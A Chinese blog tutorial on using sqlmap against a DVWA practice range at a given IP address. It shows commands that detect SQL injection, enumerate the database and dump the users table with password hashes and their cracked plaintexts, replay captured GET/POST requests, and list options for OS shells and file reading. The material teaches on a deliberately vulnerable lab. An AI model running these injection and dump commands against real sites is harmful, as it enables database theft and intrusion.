本文以【黑客笔记在线dvwa靶场】中的SQL注入为例子(靶场有效期:2019年),讲解SqlMap的基础用法。靶场有效期内,聪明机智的你可以在上面试验一把,体验实战的感觉。

SQL注入基本战术:

1.Union注入
2.Boolean注入
3.报错注入
4.时间注入
5.堆叠注入
6.二次注入
7.宽字节注入
8.大小写绕过注入
9.编码绕过注入
10.内联注释绕过注入

基础准备:F12获取Cookie

可以看到这里咱们的Cookie是,security=low表示咱们现在处于简单模式。

 security=low; PHPSESSID=is56nfk4e80i5l3ia2qohge711

启动:添加Cookie,使用sqlmap尝试注入

结果:存在SQL注入漏洞

获取数据库:--dbs

sqlmap -u "http://144.34.183.197/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --cookie "security=low;PHPSESSID=is56nfk4e80i5l3ia2qohge711" --dbs

这里我们获得MySQL数据库:dvwainformation_schema,接下来以dvwa做分析。为什么要选择dvwa数据库呢?实际上是通过--current-db参数来获取到的。

sqlmap -u "http://144.34.183.197/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --cookie "security=low;PHPSESSID=is56nfk4e80i5l3ia2qohge711" --current-db

这里可以看到,咱们这个漏洞靶场使用的数据库是dvwa

获取数据库中的表名:--tables

sqlmap -u "http://144.34.183.197/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --cookie "security=low;PHPSESSID=is56nfk4e80i5l3ia2qohge711" -D dvwa --tables

dvwa数据库里面,我们获得到guestbookusers表,接下来我们用users表做分析。选哪张表,你可以看当时自己的心情。

获取表中的字段名:--columns

sqlmap -u "http://144.34.183.197/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --cookie "security=low;PHPSESSID=is56nfk4e80i5l3ia2qohge711" -D dvwa -T users --columns

dvwa数据库的users表获取到:

+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

获取表中的字段内容:--dump

sqlmap -u "http://144.34.183.197/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --cookie "security=low;PHPSESSID=is56nfk4e80i5l3ia2qohge711" -D dvwa -T users -C user,avatar,failed_login,first_name,last_login,last_name,password,user_id --dump

这个时候我们获得了dvwa数据库,users表中的所有字段的内容,在这里可以清晰的看到user字段对应的password字段的值,这就是拖库的基本原理,学会了的给个赞。

Database: dvwa
Table: users
[5 entries]
+---------+-----------------------------+--------------+------------+---------------------+-----------+---------------------------------------------+---------+
| user    | avatar                      | failed_login | first_name | last_login          | last_name | password                                    | user_id |
+---------+-----------------------------+--------------+------------+---------------------+-----------+---------------------------------------------+---------+
| admin   | /hackable/users/admin.jpg   | 2            | admin      | 2019-12-06 02:10:52 | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | 1       |
| gordonb | /hackable/users/gordonb.jpg | 0            | Gordon     | 2019-11-29 10:08:39 | Brown     | e99a18c428cb38d5f260853678922e03 (abc123)   | 2       |
| 1337    | /hackable/users/1337.jpg    | 0            | Hack       | 2019-11-29 10:08:39 | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 3       |
| pablo   | /hackable/users/pablo.jpg   | 0            | Pablo      | 2019-11-29 10:08:39 | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | 4       |
| smithy  | /hackable/users/smithy.jpg  | 0            | Bob        | 2019-11-29 10:08:39 | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | 5       |
+---------+-----------------------------+--------------+------------+---------------------+-----------+---------------------------------------------+---------+


获取当前数据库的用户名:

sqlmap -u "http://144.34.183.197/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --cookie "security=low;PHPSESSID=is56nfk4e80i5l3ia2qohge711" --current-user

这是咱们在上一篇文章(ailx10:手把手带你搭建漏洞靶场)中设置的:

获取当前数据库用户名的密码:

sqlmap -u "http://144.34.183.197/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --cookie "security=low;PHPSESSID=is56nfk4e80i5l3ia2qohge711" --passwords --thread 10 --hex

权限不够,拿不到用户名为dvwa的MySQL登陆密码。

mysql数据库的登陆用户名唯一为:root,其他用户都不能登陆。

后面一系列的黑科技,由于权限不够,暂时就不分析了,下次有机会咱们再碰一碰。相反,这也说明了权限的重要性。

--sql-shell 运行自定义sQL语句
--os-shell 运行任意操作系统命令
--file-read 从数据库服务器中读取文件
--file-write  & --file-dest 上传文件到数据库服务器中


【GET】请求:F12制作请求文本

GET /DVWA/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 144.34.183.197
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://144.34.183.197/DVWA/vulnerabilities/sqli/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: security=low; PHPSESSID=is56nfk4e80i5l3ia2qohge711

SqlMap重放【GET】请求文本

sqlmap -r get-sql.txt

美滋滋,成功了~

我们将实验从low级别提高到medium级别。

可以看到这里咱们的Cookie是,security=medium表示咱们现在处于中级模式。

Cookie: security=medium; PHPSESSID=is56nfk4e80i5l3ia2qohge711

【POST】请求,F12制作请求文本

注意这里请求头和请求体中间有一行空格哦~

POST /DVWA/vulnerabilities/sqli/ HTTP/1.1
Host: 144.34.183.197
Connection: keep-alive
Content-Length: 18
Cache-Control: max-age=0
Origin: http://144.34.183.197
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://144.34.183.197/DVWA/vulnerabilities/sqli/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: security=medium; PHPSESSID=is56nfk4e80i5l3ia2qohge711id=2&Submit=Submit

SqlMap重放【POST】请求文本

sqlmap -r post-sql.txt

美滋滋,成功了,抓包重放,屡试不爽,学会的给个赞~

那么POST请求如何获取数据库呢?

sqlmap -r post-sql.txt --dbs

POST请求如何获取数据库中的表信息呢?

sqlmap -r post-sql.txt -D dvwa --tables

POST请求如何获取数据库表中的字段信息呢?

sqlmap -r post-sql.txt -D dvwa -T users --columns

POST请求如何获取数据库表中字段内容呢?

sqlmap -r post-sql.txt -D dvwa -T users -C user,first_name,last_name,password,user_id --dump

下一篇:手把手带你学习BurpSuite(ailx10:手把手带你学习BurpSuite)

手把手带你学习SQLMAP相关推荐

  1. 老齐学python的django 源代码_《跟老齐学Python:Django实战》真正的手把手“带”您学习...

    全书通过不断升级改造的方式,带着读者完成了一个"极其"简单的实战项目.这里说简单是相对于那些"大牛"而言.如果您是大牛,齐老师会建议您使用谷歌或者读官方英文文档 ...

  2. 手把手带你学习微信小程序 —— 项目实战篇

    微信小程序项目实战篇 WeChat-applet 1.支付宝界面展示 2.微博发帖功能实现 3.时间格式化案例 4.微信红包界面展示 5.微信消息删除案例 6.微信icon 组件 6.1 支付成功界面 ...

  3. 手把手带你学习如何在小程序、网页前端部署AI模型

    通过浏览器访问网页获取信息.或进入小程序玩一些有趣的应用往往是现在互联网用户每日必不可少的一件事.能够在前端环境实现AI能力,将会为用户体验插上一对腾飞的翅膀.传统的智能化效果由于模型大小.设备机器算 ...

  4. 【uni-app高级实战】手把手带你学习一个纯实战复杂项目的开发1/100

    项目描述: 技术内容包括: 1.uni-app与Taro等多端框架的对比及使用场景分析 2.uni-app多端适配问题的解决方案 3.多端组件抽象封装 定位人群: 已经有了uni-app基础知识,并且 ...

  5. 一文搞定json解析和封装问题,手把手带你学习CJSON开源代码

    cJSON保姆级教程 JSON简介 cJSON介绍 基本使用操作 关键数据结构 设计思想 JSON数据解析 解析步骤 json数据封装 封装步骤 封装示例 使用注意事项 内存及时释放 内存钩子 阅读心 ...

  6. Axure8原型设计实战案例:如何设计用户管理,手把手带你学习

    使用Axure设计用户管理,也是最常用的产品设计功能之一,产品设计都会碰到,怎么设计?方便提需求的人和开发人员,能够快速理解需求呢,下面一一讲解. 一.用户管理设计效果 1.1用户管理的列表界面 1. ...

  7. 手把手带你学习微信小程序 —— 十(icon 标签【微信默认标签】)

    icon 标签 一.icon 体验 1.1 icon 的三个属性 1.2 icon 的基本使用 二.实际项目 2.1 微信支付界面支付成功展示 2.2 跳转等待界面 2.3 搜索栏实现 一.icon ...

  8. 【手把手带你学习神经机器翻译--代码篇】

    中英机器翻译 1.数据预处理 1.1 相关工具下载 1.2 数据集下载 WMT系列数据集 AI challenger 中英数据集 1.3 中文分词处理 1.4 标点符号标准化 1.5 Tokenize ...

  9. 手把手带你学会Odoo OWL组件开发(5):浅析OWL原理

    [本系列内容直达:] 手把手带你学习Odoo OWL组件开发(1):认识 OWL 手把手带你学会Odoo OWL组件开发(2):OWL的使用 手把手带你学会Odoo OWL组件开发(3):核心内容指南 ...

最新文章

  1. android 标准 action
  2. 【概率论】1-4:事件的的并集(Union of Events and Statical Swindles)
  3. 你学废了 Mybatis 动态批量修改吗?
  4. 250鲁大师跑分_鲁大师跑分20万起步的闲鱼二手电脑能买么?只要四招轻松告别套路...
  5. NYOJ 257 中缀表达式表示成后缀表达式
  6. Android开发之高仿三方授权登录的实现方案类似微信登录QQ登录微博登录人人网登录
  7. python中数据用折线图表示_用python处理文本数据
  8. Python 数据分析三剑客之 NumPy(一):理解 NumPy / 数组基础
  9. 黑色自适应简约个人主页引导页HTML源码
  10. MySQL索引(如何设计索引)
  11. 通配符的匹配很全面, 但无法找到元素 'tx:annotation-driven' 的声明
  12. 数据有为 智在决策 | 观远数据2019智能决策峰会圆满落幕
  13. 阻止具有特定文件扩展名的附件的电子邮件
  14. PHP $_SERVER['PHP_SELF']、$_SERVER['SCRIPT_NAME'] 与 $_SERVER['REQUEST_URI'] 之间的区别
  15. Android全面屏如何做适配
  16. Emacs学习笔记(二)
  17. Python语音转文字、音频切割、语音识别
  18. Matlab数据拟合-----使用polyfit 和polyval函数
  19. 密码学,有限域GF(2^8)乘法计算,不可约多项式为P(x)=x^8+x^4+x^3+x+1
  20. 「13」朴素贝叶斯Python实战:计算打喷嚏的工人患病的概率

热门文章

  1. win8右下角网络图标不见了_笔记本连接wifi的图标不见了怎么办_win8右下角wifi图标不见了的解决方法...
  2. PHP使用openoffice实现word,ppt,Excel在线转PDF浏览。windows和linux系统不同的解决方案
  3. java flowable_rxJava reactivex.Flowable使用
  4. 第一章 车联网技术的背景、发展和各国地区的现状
  5. windows8.1版本遇到安装wireshark报错KB2999226补丁的解决方案
  6. java 网页数据_JAVA获取网页数据
  7. 自然数幂和 伯努利数
  8. Unix报No space left on device的问题:清理磁盘和inode
  9. unity3d触摸屏手势控制镜头旋转与缩放
  10. tiny4412 裸机程序 一、说明【转】